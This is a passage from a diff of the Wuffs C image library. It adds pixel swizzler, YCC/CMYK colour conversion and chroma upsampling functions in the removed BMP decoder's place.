wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ func = ++ wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ func = wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgr_565( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgr( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgrx( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgb( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ p->private_impl.func = func; ++ p->private_impl.transparent_black_func = transparent_black_func; ++ p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; ++ p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; ++ return wuffs_base__make_status( ++ func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); + } + +-// -------- func bmp.decoder.decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ uint32_t up_to_num_pixels, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ if (p && p->private_impl.func) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ uint64_t src_len = wuffs_base__u64__min( ++ ((uint64_t)up_to_num_pixels) * ++ ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), ++ ((uint64_t)(io2_r - iop_r))); ++ uint64_t n = ++ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, iop_r, (size_t)src_len); ++ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; ++ return n; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ if (p && p->private_impl.func) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ uint64_t src_len = ((uint64_t)(io2_r - iop_r)); ++ uint64_t n = ++ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, iop_r, (size_t)src_len); ++ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; ++ return n; + } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src) { ++ if (p && p->private_impl.func) { ++ return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, src.ptr, src.len); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ return 0; ++} ++ ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint64_t num_pixels) { ++ if (p && p->private_impl.transparent_black_func) { ++ return (*p->private_impl.transparent_black_func)( ++ dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, ++ p->private_impl.dst_pixfmt_bytes_per_pixel); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ return 0; ++} + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++// -------- + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); + +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; +- } ++#if defined(__GNUC__) && !defined(__clang__) ++// No-op. ++#else ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column); ++#endif ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) + +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++static inline uint32_t // ++wuffs_private_impl__u32__max_of_4(uint32_t a, ++ uint32_t b, ++ uint32_t c, ++ uint32_t d) { ++ return wuffs_base__u32__max( // ++ wuffs_base__u32__max(a, b), // ++ wuffs_base__u32__max(c, d)); + } + +-// -------- func bmp.decoder.do_decode_image_config ++static inline uint32_t // ++wuffs_private_impl__u32__min_of_5(uint32_t a, ++ uint32_t b, ++ uint32_t c, ++ uint32_t d, ++ uint32_t e) { ++ return wuffs_base__u32__min( // ++ wuffs_base__u32__min( // ++ wuffs_base__u32__min(a, b), // ++ wuffs_base__u32__min(c, d)), // ++ e); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++// -------- + +- uint32_t v_magic = 0; +- uint32_t v_width = 0; +- uint32_t v_height = 0; +- uint32_t v_planes = 0; +- uint32_t v_dst_pixfmt = 0; +- uint32_t v_byte_width = 0; ++typedef void (*wuffs_private_impl__swizzle_ycc__convert_4_func)( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++static void // ++wuffs_private_impl__swizzle_cmyk__convert_4_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3) { ++ for (; x < x_end; x++) { ++ // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's ++ // RGBW: 0xFFu means no ink instead of full ink. Note that a double ++ // inversion is a no-op, so inversions might be implicit in the code below. ++ uint32_t r = ((uint32_t)(*up0++)); ++ uint32_t g = ((uint32_t)(*up1++)); ++ uint32_t b = ((uint32_t)(*up2++)); ++ uint32_t w = ((uint32_t)(*up3++)); ++ r = ((r * w) + 0x7Fu) / 0xFFu; ++ g = ((g * w) + 0x7Fu) / 0xFFu; ++ b = ((b * w) + 0x7Fu) / 0xFFu; ++ wuffs_base__pixel_buffer__set_color_u32_at( ++ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); + } ++} + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static void // ++wuffs_private_impl__swizzle_ycck__convert_4_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2, ++ const uint8_t* up3) { ++ for (; x < x_end; x++) { ++ // We invert once again: 0xFFu means no ink instead of full ink. ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); ++ uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); ++ uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); ++ uint32_t w = ((uint32_t)(*up3++)); ++ r = ((r * w) + 0x7Fu) / 0xFFu; ++ g = ((g * w) + 0x7Fu) / 0xFFu; ++ b = ((b * w) + 0x7Fu) / 0xFFu; ++ wuffs_base__pixel_buffer__set_color_u32_at( ++ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); ++ } ++} + +- if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_io_redirect_fourcc != 0u) { +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_magic = t_0; +- } +- if (v_magic != 19778u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = 8u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++// -------- ++ ++typedef void (*wuffs_private_impl__swizzle_ycc__convert_3_func)( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2); ++ ++static void // ++wuffs_private_impl__swizzle_rgb__convert_3_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ for (; x < x_end; x++) { ++ uint32_t color = 0xFF000000u | // ++ (((uint32_t)(*up0++)) << 16u) | // ++ (((uint32_t)(*up1++)) << 8u) | // ++ (((uint32_t)(*up2++)) << 0u); ++ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_general( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx(wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); ++ dst_iter += 4u; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_rgbx(wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ ++ for (; x < x_end; x++) { ++ uint32_t color = // ++ wuffs_base__color_ycc__as__color_u32_abgr( // ++ *up0++, *up1++, *up2++); ++ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); ++ dst_iter += 4u; ++ } ++} ++ ++// -------- ++ ++// wuffs_private_impl__swizzle_ycc__upsample_func upsamples to a destination ++// slice at least 480 (YCCK) or 672 (YCC) bytes long and whose src_len ++// (multiplied by 1, 2, 3 or 4) is positive but no more than that. This 480 or ++// 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice length. ++// Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. ++// ++// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks ++// wide and each block is 8 pixels wide. We have: ++// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 ++// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 ++// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 ++// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 ++// ++// Box filters are equivalent to nearest neighbor upsampling. These ignore the ++// src_ptr_minor, h1v2_bias, first_column and last_column arguments. ++// ++// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 ++// dimensions), which is higher quality (less blocky) but also higher ++// computational effort. ++// ++// In theory, we could use triangle filters for any (inv_h, inv_v) combination. ++// In practice, matching libjpeg-turbo, we only implement it for the common ++// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an ++// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). ++typedef const uint8_t* (*wuffs_private_impl__swizzle_ycc__upsample_func)( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, // Nearest row. ++ const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. ++ size_t src_len, ++ uint32_t h1v2_bias, ++ bool first_column, ++ bool last_column); ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ return src_ptr_major; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor_ignored, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column_ignored, ++ bool last_column_ignored) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ while (src_len--) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ *dp++ = sv; ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; ++ while (src_len--) { ++ *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // ++ (1u * ((uint32_t)(*sp_minor++))) + // ++ h1v2_bias) >> ++ 2u); ++ } ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp = src_ptr_major; ++ ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = sv; ++ return dst_ptr; + } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_padding = t_1; ++ uint32_t svp1 = sp[+1]; ++ uint8_t sv = *sp++; ++ *dp++ = sv; ++ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); ++ if (src_len <= 0u) { ++ return dst_ptr; + } +- if (self->private_impl.f_padding < 14u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++ } ++ ++ if (last_column) { ++ src_len--; ++ } ++ ++ for (; src_len > 0u; src_len--) { ++ uint32_t svm1 = sp[-1]; ++ uint32_t svp1 = sp[+1]; ++ uint32_t sv3 = 3u * (uint32_t)(*sp++); ++ *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); ++ *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); ++ } ++ ++ if (last_column) { ++ uint32_t svm1 = sp[-1]; ++ uint8_t sv = *sp++; ++ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); ++ *dp++ = sv; ++ } ++ ++ return dst_ptr; ++} ++ ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; ++ ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // ++ (4u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + 7u) >> 4u); ++ return dst_ptr; + } +- self->private_impl.f_padding -= 14u; +- self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- self->private_impl.f_bitmap_info_len = t_2; ++ ++ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. ++ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ if (src_len <= 0u) { ++ return dst_ptr; + } +- if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; ++ } ++ ++ if (last_column) { ++ src_len--; ++ } ++ ++ for (; src_len > 0u; src_len--) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } ++ ++ if (last_column) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. ++ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } ++ ++ return dst_ptr; ++} ++ ++// wuffs_private_impl__swizzle_ycc__upsample_funcs is indexed by inv_h and then ++// inv_v. ++static const wuffs_private_impl__swizzle_ycc__upsample_func ++ wuffs_private_impl__swizzle_ycc__upsample_funcs[4][4] = { ++ { ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box, ++ }, ++ { ++ 